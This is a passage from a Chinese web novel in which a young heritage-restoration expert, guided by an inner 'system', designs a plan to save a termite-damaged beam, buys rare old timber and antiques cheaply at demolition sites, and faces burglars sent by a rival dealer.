时墨这才慢慢爬下脚手架,脚刚落地,王木匠就急着凑过来,一把扶住她的胳膊:“时同志!怎么样?这梁是不是没救,只能拆了?” “不用拆。”时墨摘下安全帽,拍了拍手上的灰,语气平静却笃定道。 就三个字,瞬间让吵吵嚷嚷的院子安静了下来,所有人的目光都齐刷刷地落在了她身上。 “不拆?时同志,你这话说得也太轻巧了!”一个老工匠忍不住开口,语气里满是质疑,“这梁都蛀空快一半了,不拆等着塌吗?真要是出了事,你担得起这个责任?” “就是!小姑娘家家的,别光说大话!古建修缮可不是过家家!” 孙教授也连忙问:“小墨,你真有可行的方案?这主梁是故居的核心原构件,不到万不得已,我们绝对不能拆。” “孙教授,我刚上去仔细看过了,蛀空的部分只集中在梁体中段,占总截面的三分之一。”时墨走到桌前,拿起铅笔和大白纸,俯身就画了起来,动作行云流水,没有半分停顿,“梁体的上部、两端的榫卯节点都是完好的,剩余的木材还能承担百分之七十以上的承重,但承受不了任何额外荷载。所以我觉得没必要拆,拆了反而可惜。” 王木匠半信半疑地凑过去,嘴里还嘟囔着:“你确定只有三分之一?这事儿可不能瞎估摸,差一寸都得出人命。” 时墨没跟他争辩,笔走得飞快,不过十几分钟,一张完整的梁架受力结构图就跃然纸上。主梁的位置、尺寸、蛀空的范围、剩余梁体的厚度,每一处尺寸、每一个角度,全都标得清清楚楚,连白蚁窝的分布都画出来了。 “孙教授,王师傅,您们看。”她把图纸递过去,“蛀空的部分主要在这里,大约占三分之一。梁体的上部和两端还是完好的。像个扁担,两头结实中间空。如果全部拆除,太可惜了,等于把好好的老物件毁了。” 王木匠接过图纸,越看越心惊。这姑娘画的图,比他干了一辈子木匠的人还精准,连他刚才敲了半天都没敲出来的蛀空边界,她都画得分毫不差。 “时同志!你这图画的也太准了!分毫不差!你是怎么做到的?”他抬头看了看梁,又低头看了看图,看向时墨的眼神里,已经没了之前的轻视,只剩下震惊。 系统骄傲地哼了一声。 时墨笑了笑,没回答,又拿起笔,在旁边铺了一张新纸,这次她画的不是现状图,而是完整的修复方案图。 “孙教授,王师傅,各位师傅,我有一个想法。”她指着图纸,条理清晰地讲解,声音不大,却字字清楚,整个院子的人都竖着耳朵听。 “我的方案是,用传统古建筑的‘扒梁加固法’,配合墩接补配工艺修复,双管齐下,既能保住原梁,又能彻底解决安全隐患” “第一,先做白蚁灭杀处理,用传统的百部、苦参熬制的药剂灌缝,彻底清除梁体内的白蚁和虫卵,绝对不能用化学农药,会腐蚀梁体,破坏原构件。灭杀完成后,用改性环氧树脂灌缝,把蛀空的缝隙全部填实,先锁住原梁的完整性,防止它继续恶化。” “第二,在主梁两侧,各加一根同材质、同尺寸的扒梁,扒梁两端直接落在前后檐的金柱柱顶上,不额外增加原梁的荷载。扒梁和原梁之间,用暗燕尾榫咬合,再加上三道铁箍锁紧,两根扒梁可以分担主梁百分之八十的承重,彻底解决结构安全问题,就算原梁再出问题,也有扒梁托着,绝对不会塌。” “第三,梁体下部蛀空严重的部位,用同树龄的老红松做墩接补配,用‘巴掌榫’墩接,严丝合缝,不破坏原梁的上部结构和外观,最后做旧处理,保证从外面看,和原梁一模一样,完全符合‘修旧如旧’的文保原则。” 时墨一边说,一边在图纸上标注细节,扒梁的尺寸、榫卯的倾斜角度、铁箍的间距、木材的含水率要求,甚至连环氧树脂的配比,白蚁药剂的熬制方法,都标得明明白白。每一处都严丝合缝,既符合传统古建筑的修缮工艺,又结合了现代结构力学,把施工风险降到了最低,连最挑剔的老工匠,都挑不出半分错处。 整个院子鸦雀无声,所有人都凑在图纸前,眼睛越睁越大,脸上的质疑一点点变成了震惊,最后只剩下满满的佩服。 王木匠盯着图纸,手指微微发抖,激动的嗓子眼像是被什么东西堵住了:“我的天……这是我们家祖传的宫廷造办处的扒梁加固手艺啊!” 他猛地抬头看向时墨,眼神里全是难以置信的佩服:“时同志!这手艺,我爹当年只传给了我,还千叮万嘱,说这法子看着巧,实则对受力计算要求极高,只能用在小宅子上,风险太高,我干了一辈子,都没敢在大项目上试过!你不仅懂这门手艺,还把结构受力算得这么精准,把风险全控住了!” 他声音发颤道:“我老王头服了!彻底服了!今天算是开了眼了!” 【宿主!你听见了吗!他夸你呢!】系统在时墨脑子里蹦跶道,【宫廷造办处的手艺!祖传的!被你一个小姑娘拿来用了!他肯定以为你是哪个世家出来的!虽然是我帮你查的资料,但能灵活使用到这份上,不愧是宿主你!】 【那是。】 时墨笑着对王木匠说:“王师傅过奖了,我也是跟着师傅,翻了不少宫廷造办处的老修缮档案才学来的,真要动手还得靠您。” 她想了下又说:“这法子看着险,其实只要把木材选对、榫卯做严、受力算准,比换梁稳妥得多,还能保住原构件,不破坏故居的历史价值。您说是不是这个理?” 宋正先在一旁听着,只当时墨是拿他当借口,笑道:“这孩子谦虚了,我可没帮太多,都是她自己翻书、自己琢磨出来的。我就给她指了个方向,她自己能走到这儿,是她自己的本事。” “你们师徒俩,可真是一脉相承,都这么谦虚!”孙教授笑着拿起图纸,翻来覆去看了好几遍,越看越满意,“时墨啊时墨,你可真是给了我们一个天大的惊喜!这方案太完美了!既保住了原梁,又彻底解决了安全隐患,完全符合国家级文保项目的要求!就按这个方案来!从今天起,这个项目的木作修缮技术负责人,就是时墨!” 周围的老工匠们,再也没有半分之前的轻视,纷纷对着时墨拱手,语气里全是实打实的佩服: “小时同志厉害!真是人不可貌相!这手艺,比我们这些干了一辈子的都强!” “之前是我们有眼不识泰山,说话不好听,你别往心里去!” “就凭这方案,这技术负责人的位置,没人比时工更合适!我们都服!” 看着之前一个个眼高于顶的老工匠,现在个个心服口服,时墨心里也松了口气,笑着道:“各位师傅太客气了,方案再好,也得靠各位师傅的手艺才能落地。以后实操的地方,还要多向各位师傅请教,咱们互相学习,一起把这个项目做好。” 王木匠拿着图纸,翻来覆去地看,越看越佩服,忍不住问道:“时工,你这图纸,能让我带回去好好研究研究吗?我干了一辈子,从没见过传统工艺还能跟现代力学结合得这么好,真是开了眼了。” “当然可以,王师傅您拿去看就是。”时墨笑道,“方案里有什么不合适的地方,您随时跟我说,咱们再调整。” 王木匠连连摆手,脸都红了:“不合适?一点都没有!太完美了!是我要跟你好好学习!” 热闹归热闹,很快就有人提出了最棘手的问题。 “孙教授,时工,方案是好方案,可咱们上哪儿找和原梁同树龄、同材质的百年老红松啊?”王木匠刚舒展的眉头又皱了起来,叹了口气,“这原梁是清末的老红松,树龄至少百年,通长一丈二,整根无拼接,现在木材都是国家计划管控的,新红松都难买,更别说这种百年老料了。” “确实是这样。”时墨点了点头,补充道,“补配的墩接木料,还有两侧的扒梁,必须用跟主梁同材质的百年老红松。否则木材的收缩率、含水率不一样,用不了多久就会开裂、变形,反而会损坏原梁,前功尽弃。” 这话一出,众人刚提起来的劲儿,瞬间又泄了一半。 是啊,巧妇难为无米之炊,方案再好,没有合适的老料,也是白搭。 百年老红松,民国时期的老料,现在去哪儿找? 孙教授也犯了难,摘下眼镜擦了擦,又戴上:“这事确实棘手,我托研究所的同事问问国营木材厂,看看有没有库存的老料。但希望不大,这种整根的老红松,现在太稀缺了,有也是人家压箱底的宝贝,轻易不会出手。” “这种老料,建国以后就禁止砍伐了。市面上偶尔能见到,但都是零星的,要找到一根够尺寸的,太难了。”王木匠摇了摇头,根本不抱希望,“我看悬。” 【宿主,这木头确实不好找。】系统难得正经起来,【我查了一下,1985年国内木材市场还没放开,这种级别的老料基本都在国营木材厂的库房里锁着,要有批条才能提货。要不咱们换个方案?用新红松凑合凑合?】 【不行。】时墨在心里摇头,【新老木材收缩率不一样,硬凑上去,三五年就开裂了,到时候整个梁架都得重来。与其那样,还不如现在就想办法。】 【可是——】 【没有可是。】 “这样吧。”孙教授沉吟片刻,做了决定,“先安排人做白蚁灭杀处理,把梁体和整个院子的白蚁都清干净,做好防腐加固。其他能修的部位先修起来,不能耽误工期。老红松的事,大家一起想办法,多渠道打听。实在不行,我去找文保局,看他们的库房里有没有存料。” 众人纷纷点头,眼下也只能先这样了。 太阳已经西斜,橘红色的光洒在院子里,把脚手架的影子拉得老长。 孙教授看了看天色,便对时墨道:“小墨,今天第一天来就让你碰上这么大的事,辛苦了。你先回去吧,剩下的事我们来安排。晚上黑,你一个小姑娘走夜路不安全,早点回家休息,明天再来熟悉熟悉环境。” “孙教授,那老红松的事,我回去也想想办法。”时墨没推辞,她今天确实需要时间消化这些信息,脑子里的图纸和方案还得再琢磨琢磨。 王木匠也连忙附和,声音洪亮道:“对对对!时工你先回去!这里有我们盯着呢,出不了事!明天你再过来!” 旁边的老工匠们也纷纷劝她早点回家,语气里满是关切:“时工,孙教授说得对,你一个姑娘家,天黑了不安全。先回去吧,老红松的事,我们这些老家伙再想想办法。” “就是就是,你一个小姑娘,别累着了。明天再来!” 时墨也没推辞,应了一声,收拾好东西,跟孙教授、宋正先、各位师傅道了别,就骑车回了家。 路上,冷风往脖子里灌,时墨一边骑车一边琢磨。 上哪儿找这种百年老红松呢?民国老料,这东西现在市面上确实少见,但也不是完全没有。一些老宅子拆迁的时候,偶尔能遇到。可这东西可遇不可求,总不能满京城翻去吧? 【宿主,要不咱们去木材厂问问?】系统出主意,【万一有库存呢?】 【国营木材厂要批条,咱们哪有那个关系?】 【那怎么办?总不能变出来吧?】 时墨没接话,脑子里忽然灵光一闪。 赵磊! 上次赵磊说过,他现在做的生意涉及建材方面,经常跟周边工地、木材厂打交道,门路广,人脉多,说不定他有办法!而且他那个人实在,办事靠谱,是能托付的人。 第二天一早,时墨先去了梅先生故居,跟孙教授请了假,说自己有门路能打听到老红松的事,要出去跑跑。 孙教授犹豫了一下,还是点了头:“行,你去吧。不过注意安全,别一个人跑太远,找不到也别强求,慢慢来,这事儿急不得。” 时墨应了一声,骑车直奔赵磊那儿。 赵磊正在自家老宅子里指挥工人搬东西,看见时墨来了,连忙迎上来,笑容爽朗道:“墨墨!你怎么来了?是不是捐赠的事有消息了?” “不是,赵哥,我想麻烦你个事。”时墨也不绕弯子,开门见山,把梅先生故居修缮工程需要百年老红松的事说了一遍,“我这边急需要一根整根的百年老红松,通长三丈六,截面八寸见方,清末的老料最好,你做建材生意,门路广,能不能帮我问问,哪儿能找到这种料?” 赵磊听完,二话没说就答应了,拍着胸脯道:“行!这事包在我身上!我在周边跑了不少拆迁工地,认识几个工头,帮你打听打听。你放心,只要有消息,我第一时间通知你。” “赵哥,能不能今天就去?”时墨有些急切,“那边等着这根梁开工,拖一天就耽误一天的工期。孙教授那边虽然嘴上说不急,但我估计他心里肯定急坏了。” 赵磊看了看表,一拍大腿:“行!走!我带你跑一圈!正好我知道几个地方,可能有你要的老木头。咱们早去早回,天黑前差不多能赶回来!” 时墨锁好车,叫了辆三蹦子,直接出了城,一路往南边去。 现在到处都在搞建设。老城改造刚刚起步,不少清末民国的老宅子都在拆迁,到处都是断壁残垣,拆下来的旧木料、旧砖瓦堆得满地都是,跟小山似的。 不少老百姓围着捡能用的砖头木料,拿回去搭个小棚子、做个鸡窝。更多的老木雕、旧家具,都被施工队堆在一边,准备拉去当柴火烧。 【宿主!那边那边!那个雕花窗棂!是老红木的!】系统突然叫起来,【还有那堆门框也是!天哪,他们居然当柴火烧!暴殄天物啊!】 【好,我知道了。】时墨不动声色地扫了一眼,记下了位置,但现在不是捡漏的时候,正事要紧。 先去的是个正在拆迁的老村子,赵磊找到相熟的工头一问,对方直摇头:“老红松?民国料?没有没有,这村里拆的都是五六十年代的房子,木头都是杨木柳木,没有那么老的料。那种好东西,早就被人捡走了。” 赵磊带着时墨,一连跑了三个拆迁工地,都没找到尺寸合适的老红松。 眼看快到中午了,赵磊有点不好意思:“墨墨,别急,还有个南城的工地,那边拆的都是清末的大官宅子,肯定有大料!咱们先找个地方吃口饭,下午就过去!” “没事赵哥,不着急,辛苦你陪我跑了一上午了。”时墨笑着道,目光却被工地角落里堆着的一堆旧门框吸引了。 那堆门框看着破旧不堪,上面落满了灰,漆皮都掉光了,横七竖八地扔在碎砖堆里,施工队正准备劈了当柴烧。 可时墨一眼就看出来,最边上那个门框,木质细腻,纹理行云流水,掂起来沉甸甸的,在阳光下泛着暗暗的光泽,是海南黄花梨的! 【宿主!左前方最边上那个门框时清末的老黄花梨木!完整无缺!没有开裂变形!】系统在她脑子里大声提醒,震得时墨耳朵都嗡嗡响,【这种料子放到后世,一块就够你在首都买套房了!可现在他们居然要烧火?暴殄天物啊!宿主你快想办法弄到手!快!快!快!】 【我发现这些人怎么都不爱烧煤块,蜂窝煤?净烧好木头。】系统纳闷道。 【因为这个捡的不花钱啊!】 时墨不动声色地走过去,装作随意地踢了踢那堆木头,对着施工队的工头问:“师傅,这堆旧门框,你们还要吗?要是不要,能不能卖给我?我拿回去当柴火烧。” 那工头看了时墨一眼,一个小姑娘,穿着干干净净的棉袄,也不像是收破烂的,也没当回事,挥了挥手:“嗨,不值钱的玩意儿,要什么钱!你想要就拿走!反正我们也是拉去烧火,还省得我们费劲了!!” “那谢谢师傅了!”时墨喜出望外,又装作不经意地指着旁边一个掉了漆的樟木箱,还有一个带雕花的木窗棂,“这两个也一起给我吧?我一起拿回去烧火,省得占你们地方。” 那樟木箱看着不起眼,旧得漆都掉光了,箱角都磨圆了,实则是清代的老樟木,箱子角上还有铜活,雕着蝙蝠祥云,寓意“福从天降”,里面说不定还藏着东西;那窗棂是老红木的,雕花是典型的京工,雕的是梅兰竹菊,刀工老辣,线条流畅,也是难得的好东西。 “拿走拿走!都拿走!别挡着我们干活就行!”工头不耐烦地挥了挥手,根本没当回事,转身就招呼工人继续干活了。 【宿主!你太厉害了!三句话捡了三个大漏!】系统激动得不行,在时墨脑子里放起了小烟花,【这要是让你师傅知道,非得从椅子上跳起来不可!不对,你师傅他老人家要是知道你把黄花梨当柴火烧,能气得背过气去!】 赵磊在旁边都看傻了,等时墨把三样东西搬到车边,才凑过来小声问:“墨墨,你拿这些烂木头干啥?真拿回去烧火?这门框看着烧火都不好烧吧?又硬又沉,劈都劈不动。” 时墨愣了一下,随即笑了,小声道:“赵哥,这是黄花梨木头,你仔细看看。” 赵磊凑近瞧了瞧:“嘿,还真是那意思。” “赵哥你这认得挺快啊。” “嗨,你之前说过后,我也买了本讲木材的书看,多少记住了些木头品类特性。”赵磊笑道,又凑近了看那门框,“就是不敢确定,这玩意儿看着破破烂烂的,真是黄花梨?” “是,清末的老料,完整的门框,难得的很。”时墨笑着道,拍了拍那门框,“还有这个樟木箱,也是好东西。那个窗棂是老红木的,雕工一流。他们不识货,当柴火烧,太可惜了。” 赵磊听得直点头,对着时墨竖了个大拇指,满脸佩服:“妹子,你可真厉害!这火眼金睛啊!我经常跑工地,这些东西从我眼皮子底下过了多少回,我愣是没看出来!你一来就捡着宝了!” 两人叫三蹦子师傅把东西搬上车,东西搬完,时墨刚要上车走,眼角的余光突然瞥见了墙角碎砖瓦堆里,露出来一抹温润的青色,像是被谁踢到角落里的。 【宿主!碎砖堆里!康熙青花罐!民窑精品!有轻微冲线,不影响收藏价值!】系统又喊了起来,【我的天!今天是什么捡漏好日子!这工地遍地是宝贝啊!】 她走过去,轻轻扒开碎砖,里面竟然是一个完整的青花小罐,釉色温润,白中泛青,上面的缠枝莲纹画得行云流水,翻过来看底款,是“大清康熙年制”六字楷书款。虽然口沿有一道细微的冲线,但也是开门的康熙民窑精品。 施工队的人都以为是个破瓦罐,根本没人在意,扔在墙角好几天了。时墨随口问了一句,工头看了一眼,直接摆了摆手:“一个破瓦罐,没用,你要也拿走!” 一上午的功夫,时墨捡了四件宝贝,完全没了找不到梁柱的失落感。 【宿主!你这哪是找木料,你这是来扫货的!】系统啧啧称奇,【能量币没赚多少,宝贝捡了一堆!你这运气,也太逆天了!】 【这叫来得早不如来得巧,他们不识货,我正好捡个漏。】时墨心里美滋滋的。 中午两人随便在路边吃了碗面,赵磊一边吃一边安慰她:“别急,墨墨。我知道一个老宅子,去年拆的,料都堆在空地上还没处理。那宅子大,用料讲究,肯定有你要的东西。咱们下午去看看!” “嗯!”时墨扒了口面,心里又燃起了希望。 下午两点多,两人坐车去了赵磊说的地方。 时墨跳下车一看,空地上堆着小山一样的旧木料,都是从老宅子上拆下来的,横七竖八地堆着,落满了灰,有的还被雪水泡过,看着惨不忍睹。 时墨一件一件地翻看,手指摸过每一根木料,敲一敲,闻一闻。这些料子大多是松木的,也有几根杉木、榆木,但年代不够,都是五六十年代的,不是她要的那种百年老红松。 她正有些失望,忽然看见角落里堆着几根又粗又长的旧梁,被破油布盖着,只露出一头。 时墨走过去,掀开油布一看,心跳瞬间加快了。 是老红松!木纹细密紧实,颜色深沉温润,用手一敲,声音沉稳厚实,没有半点空响,是正经的清末百年老料!一共三根,最长的那根,正好一丈二长,截面尺寸也完全符合要求! 【宿主!检测到清晚期小叶红松!树龄超过一百五十年!跟梅先生故居主梁的材质一模一样!而且保存得极其完好,,无虫蛀、无开裂、无变形!完美适配!】系统提示完,不可思议道,【我的天!踏破铁鞋无觅处,得来全不费工夫!这简直是为这个项目量身定做的!】 时墨深吸一口气,压下心里的狂喜,她面上不动声色,转头问看场子的老头:“大爷,这几根梁怎么卖?” 老头正蹲在地上抽旱烟,晒着太阳打盹,头都没抬:“那些啊?都是拆下来的旧料。放了一年多了,也没人要。你要的话,一根五十块钱,自己拉走。” 一根一丈二的百年老红松,才五十块钱?! 时墨差点没绷住。 这种百年老红松,放到后世,五十块钱连个木屑都买不着!现在五十块钱就能买下整根! 时墨正要掏钱,忽然又看见那堆木料下面,压着几块旧木板。她走过去,把上面的碎木头扒拉开,露出那几块板子。 板子不大,也就一米长、半米宽,但木纹极漂亮,金黄色的底色上,是深褐色的山水纹,层层叠叠,像泼墨山水画一样,美得让人挪不开眼。 【宿主,这是海南黄花梨独板!而且是整料,没有拼接。年份最少也是清中期的料子,油性足、纹理好,是做家具的绝品材料!一块就值老鼻子钱了!这些老宅子用料也太讲究了!】系统感慨道。 时墨乐了:【估计以前是有钱的大户人家,再不然就是贪官污吏。】 她没想到这堆破烂里也能有黄花梨的独板,还是整料,没有拼接。这种东西,在后世根本见不到,有钱都买不着! 那些拍卖会上出现的,都是巴掌大的小料,这种整板的独板,只有在博物馆里才能看到。 她看了一眼旁边那堆乱七八糟的旧木料,又瞥了一眼老头。 老头还是那副爱答不理的样子,旱烟抽得吧嗒吧嗒响。 时墨不动声色地把那几块黄花梨板子搬了出来,跟那几根老红松堆在一起,又从那堆破木头里挑了几块看着不起眼、但木纹细密的老楠木,混在里面。 “大爷,这几根梁,还有这几块板子,我都要了。您算算多少钱?” 老头抬起头,看了一眼那堆东西,又看了看时墨,慢悠悠地伸出三根手指:“梁五十块一根,三根一百五。板子嘛……”他站起来,走过去踢了踢那几块黄花梨板子,时墨的心提到了嗓子眼,“这些破板子,也不知道干啥用的,你要是一起拿走,给一百六得了,省得在这堆着占地方。” 一百六! 时墨差点没笑出声。十块钱买黄花梨独板,这要是让师傅知道了,能乐得从椅子上蹦起来! 她摸了摸口袋,出门急,只带了二十几块钱现金,根本不够。下意识地就摸了摸脖子上的金项链——那是她特意随身戴的,就怕遇到好东西现金不够。 赵磊眼尖,一眼就看见时墨的动作,连忙拦住她,他忙从兜里掏出一沓钱,数了一百六十块递过去,又加了一块,“大爷,这是一百六十一,您数数。多的一块钱算我们请您的烟钱。” “赵哥,这怎么能让你出钱!”时墨连忙把钱往他手里塞,“已经麻烦你跑了一整天了,钱必须我来出,再说本来就是我要的东西。” “你这就跟哥见外了!”赵磊把她的手推了回去,力气大得时墨差点没站稳,“你帮了我那么大的忙,我出这点力算什么?再说了,这几根梁是给梅先生故居用的,哥也算是为文物保护做了点贡献,这是积德的事!你就别跟我争了!” “够了够了。”老头接过钱,数了数,乐呵呵地揣进怀里,又从兜里掏出五块钱找给赵磊,“看你们给钱痛快,板子不要钱了,搭给你们的。反正也是破烂,卖不出去。” 时墨愣了一下,赵磊已经把老头找回的五块钱塞回她手里:“拿着。别跟我客气,再客气我就生气了。” “赵哥,这怎么好意思……”时墨拿着那五块钱,心里有些过意不去。 “有什么不好意思的!”赵磊已经开始招呼师傅往车上搬木头了,一边搬一边说,“你帮了我多大的忙,我心里有数。这点钱算什么?再说了,以后我做买卖,还指望你帮我出主意呢!咱们互相帮衬!” 时墨也不好再推辞,赶紧上前搭把手。赵磊又招呼看场子的老头搭把手,三个人合力把三根老红松和那几块黄花梨板子搬上三蹦子后面,用粗麻绳捆得结结实实,生怕路上颠坏了。 师傅在旁边看着,嘴里嘟囔:“这木头太重了,我这车可拉不了太多,路上可得慢点。” “师傅你放心!该给的钱绝对不会差!加倍给!”赵磊擦了擦汗,看着那堆木头笑道:“墨墨,你是真厉害。这工地我跑了好几趟,从来没注意过这几根梁。你一来就发现了,跟长了火眼金睛似的。” 时墨笑了笑,没说话。她心里清楚,要不是系统的提示,她也发现不了那几块黄花梨板子。那些板子被压在破木头底下,落满了灰,看着跟普通木板没什么两样。 【那是!也不看看是谁的宿主!】系统得意洋洋,尾巴都要翘到天上去了,【不过宿主你确实厉害,面不改色心不跳的,换了别人,就算我提醒了,也未必能沉住气。你刚才那个样子,跟没事人似的,这老头一点都没看出来啊!】 【闷声才能发大财,记住了不?】 【记住了!】 两人正说着,空地的另一头走过来几个人。为首的是个穿皮夹克的胖子,四十来岁,油光满面,手里夹着根烟,大摇大摆地,一看就是做买卖的,身后还跟着两个穿工装的小伙子。 “老李头,听说你这儿有旧木料?”胖子扯着嗓子喊了一声,吐了个烟圈。 看场子的老头站起来,指了指空地上剩下的那堆烂木头,懒洋洋地说:“就这些了,好的刚被人拉走。你来晚了一步。” 胖子看了一眼那堆烂木头,嫌弃地皱了皱眉,又看见三蹦子上捆着的老红松,眼睛瞬间亮了,跟饿狼见了肉似的,快步走过来:“哎!那根梁!你们从哪儿弄 来的?” 赵磊没搭理他,把梁又紧了紧绳子,拍了拍手:“墨墨,走,回去了。” 胖子拦住三蹦子,上下打量了时墨一眼,又看了看那几根老红松,眼神变得精明起来,脸上的笑也多了几分算计:“小姑娘,你这几根梁卖不卖?我出高价。大家都是做买卖的,价钱好商量。” 时墨心里一紧,面上却不动声色,淡淡道:“不卖,这是给文保工程用的。” “给文保工程?”胖子嗤笑一声,“什么工程能用这么好的料?小姑娘,你开个价,多少都行。一百块一根,怎么样?翻一倍了。” 一百块一根,三根就是三百。 旁边看场子的老头听见这个数,手里的烟都掉了,嘴巴张得能塞进一个鸡蛋,顿时悔得肠子都青了——他卖低了!亏了!亏大发了! 时墨摇了摇头,语气平静道:“不卖。” 胖子皱了皱眉,把烟从嘴里拿下来,又加价:“两百一根!三根六百!小姑娘,别不识抬举,这一片倒腾木料的,没人敢不卖给我刘胖子。” 时墨还是摇头,连眼皮都没抬一下。 胖子的脸色变了,笑容彻底收了,目光从时墨身上移到那几根梁上,又移到那几块压在底下的黄花梨板子上,眼神里多了几分算计和阴冷。 “小姑娘,这些板子也卖给我呗?”他指着那几块黄花梨板子,语气里带着试探,像是在钓鱼,“十块钱一块,怎么样?这价钱可不低了。” 【宿主!这人不对劲!他盯上那几块黄花梨板子了!】系统警惕道,【他肯定认出黄花梨了!他们人多,咱们赶紧走!别跟他纠缠!】 时墨心里咯噔一下。果然,胖子的目光落在了三蹦子最底下的那几块黄花梨板子上,眼神里的贪婪藏都藏不住。 “赵哥,咱们走。”她没再跟胖子废话,跳上三蹦子,稳稳地坐在木料旁边。 赵磊也看出了对方来者不善,跳上车,对着师傅喊:“师傅,开车!” 师傅踩下油门,三蹦子突突突地开了起来。 胖子站在原地,看着三蹦子走远,脸上的笑慢慢收了起来,眼神阴鸷。 “老李头,那姑娘是谁?哪儿的?”他眯着眼,阴沉着脸问道。 看场子的老头摇摇头,还在心疼那几根梁:“不认识,就刚才来的,看着像个学生。哎,早知道你出两百,我打死也不卖给她!” 胖子没再说话,对着身边的小弟使了个眼色,小弟立刻点了点头,骑上旁边的摩托车,远远地跟了上去。 【宿主!后面有摩托车跟着我们!就是刚才那个胖子的小弟!】系统立刻喊了起来,【他肯定是想摸清咱们住在哪儿,盯上那几根木料和黄花梨了!】 时墨回头看了一眼,果然,一辆摩托车不远不近地跟在后面,看见她回头,立刻放慢了速度,躲到了树后面。 “师傅,麻烦开快点,拐前面那条胡同。”时墨对着师傅喊了一声。 师傅也看出了不对劲,油门踩到底,三蹦子突突突地窜了出去,七拐八绕,终于把后面的摩托车甩掉了。 天已经黑了下来,路灯一盏盏亮起来,照着空荡荡的马路。师傅拿了赵磊给加的钱,一路上毫无怨言。 时墨坐在后面的木料堆上,冷风呼呼地往脸上刮,她裹紧了棉袄,心里却有点不安。 “赵哥,今天谢谢你。”时墨看着路边倒退的街景,真心实意地说。 “谢什么。”赵磊坐在她旁边,两只手揣在袖子里,“你帮了我那么大的忙,我出这点力算什么?以后有什么需要,尽管开口,别跟哥客气。” 三蹦子拐进胡同,停在时墨的小院门口。 赵磊和师傅帮她把木料搬进院子,又帮她把那几块黄花梨板子码好,才告辞离开。 时墨送走赵磊,又多给了师傅几块钱辛苦费,关上门,插上门闩。 她站在院子里,看着那堆木料,长长地舒了口气。 老红松主梁有了,黄花梨也有了,还捡了好几个漏。今天的收获,比她想象的大得多。 【宿主!今天可太险了!那个刘胖子一看就不是好人!以后可不能一个人去那种偏僻的拆迁工地了!】系统心有余悸地念叨着,【还有,你今天跑了一天,严重违反躺平原则!警告一次!初次犯扣除100能量币。】 【知道了。】 她正准备回屋,忽然听见院门外传来“笃笃”两声轻响。 “谁?” 时墨瞬间警惕起来,手已经摸到了门后的顶门棍。 门外没人应。 胡同里安静得能听见风声,远处的狗叫了几声,又停了。 时墨心里一紧,放轻脚步走到门边,从门缝往外看——胡同里空荡荡的,路灯昏黄的光照在青石板路上,连个人影都没有。 她正要转身,忽然看见门缝底下,塞进来一张折叠的纸条。 时墨弯腰捡起来,展开一看,上面只有匆忙写下的一行字铅笔字: “有人盯上你了,小心。” 她的心猛地沉了下去。 这纸条是谁塞的?是刚才周围好心的邻居?还是之前离开的司机师傅? 【宿主!怎么办?要不要报警?!】系统瞬间慌了,【这也太吓人了!咱们院门够不够结实?要不要我帮你扫描一下周围有没有人埋伏?!】 胡同里的风刮过院门,发出呜呜的声响,像是有人在外面走动。 时墨攥着纸条,抬头看向院墙上的阴影,眼神瞬间冷了下来。【..top】 65-70 第66章 【系统, 开启全区域扫描,以小院为中心,半径五十米!重点排查可疑人员!】 时墨攥着手里的顶门棍, 指尖微微泛白, 连呼吸都放得极轻。 【收到!扫描启动!】系统的声音瞬间褪去了平时的嬉皮笑脸, 变得异常严肃。 【宿主, 检测到两名成年男性,身高一米七五左右,年龄二十五到三十岁,正在胡同西侧拐角的墙根下蹲着!就是下午刘胖子身边的那两个小弟!】系统的声音陡然拔高,【他们身上带着撬棍、开锁工具, 还有麻袋!就是冲咱们这里来的!】 时墨心里一沉, 他们果然跟来了。 【将他们的对话转播给我。】 下一秒,两个男人压低的对话, 被系统精准收音, 一字不落地传到了时墨耳朵里: “这门锁好开不?别弄半天打不开,惊动了人。” “放心吧哥, 我这开锁手艺祖传的, 这种老式挂锁, 三秒钟就能捅开, 绝对没动静。再说了, 这院里就住个小姑娘,你怕什么?刘哥可都跟咱说了,那几块黄花梨板子必须弄到手, 那玩意儿现在黑市上炒得比黄金都贵!” “这点,那小姑娘不会还没睡吧?下午我看她精得很。” “没听到院里有动静,估计人早睡了。再说她就算在家, 一个丫头片子,还能把咱哥俩怎么着?大不了捂上嘴捆起来,拿了东西就走,神不知鬼不觉。” “小心点,刘哥都没敢跟她硬刚,这小姑娘看着不简单,别阴沟里翻船。” “嗨,怕个屁!咱们俩大男人,还制不住一个小姑娘?赶紧的,弄完走人,顺道看看屋里有没有别的硬货。” 时墨听后,指节攥得咯吱响,木棍的纹路硌得手心生疼。 【我靠!这群混蛋真敢上门偷!】系统气得跳脚,【宿主!你快赶紧躲进里屋,锁好门!他们要偷就让他们偷!主梁沉得要死,他们根本搬不动,顶多拿几块木板,注意不到您!我已经报警了!详细地址都报给派出所了!警察正在往这边赶!】 【不行。】时墨否决得干脆。 【为什么?!】 【他们认识木料。】时墨压低声音,脚步却悄无声息地退到了西厢房的门后,手里紧紧攥住了那根胳膊粗的顶门棍,【你想想,刘胖子下午一眼就认出黄花梨,这两个人是他专门派来的,能是普通小偷?我这个小院里放了多少东西?黄花梨、老红松、红木家具、古董摆件,明眼人一看就知道是好东西。】 时墨听着院门外越来越近的脚步声,眼神冰冷:【贼不走空,他们既然来了,就不可能只拿几块木板走。等他们进了屋,翻了我的东西,再惊动了街坊,就算警察来了,我这一院子的古董,也得惹来一堆麻烦。】 【那也不能硬刚啊!他们两个大男人!手里还有家伙!你不能跟他们硬拼啊!】系统急道,【警察还有七八分钟才能到!胡同里路窄,警车开不快!你先躲好!别出声!等警察来!】 【躲不了。】时墨靠在门后,听着院门外铁丝摩擦锁芯的轻响,【他们撬开大门,第一件事就是搜屋子,我躲里屋,他们把门撬开,我就成了瓮中之鳖,更被动。】 时墨眼神锐利道:【把我放在系统空间里的防狼电击器取出来。】 【宿主您要——】 【照做。】 系统不敢再劝,赶紧照办。一个巴掌大的黑色高压电击器凭空出现在时墨手心里,沉甸甸的,带着冰凉的金属质感。 系统紧张道:【宿主!正房廊下左边,那堆木料后面有个空隙,能容一个人蹲着,视线正好覆盖整个院子和正屋门口!您千万别冲动,能拖到警察来就拖!】 时墨没答话,电击器攥在右手,左手抄起那根胳膊粗的顶门棍,轻手轻脚地走到那堆木料后面,蹲下身,整个人完美缩进阴影里。 刚藏好,大门外就传来极轻的金属碰撞声。 “咔哒。” 锁开了。 院门被轻轻推开一条缝,两个人影一前一后,猫着腰鬼鬼祟祟地闪了进来,又轻轻把门合上,反手插上了门栓。 院子里黑漆漆的,只有天上的残月洒下一点冷白的微光,两人扫了一圈,没看到人,也没听到动静,瞬间都松了口气。 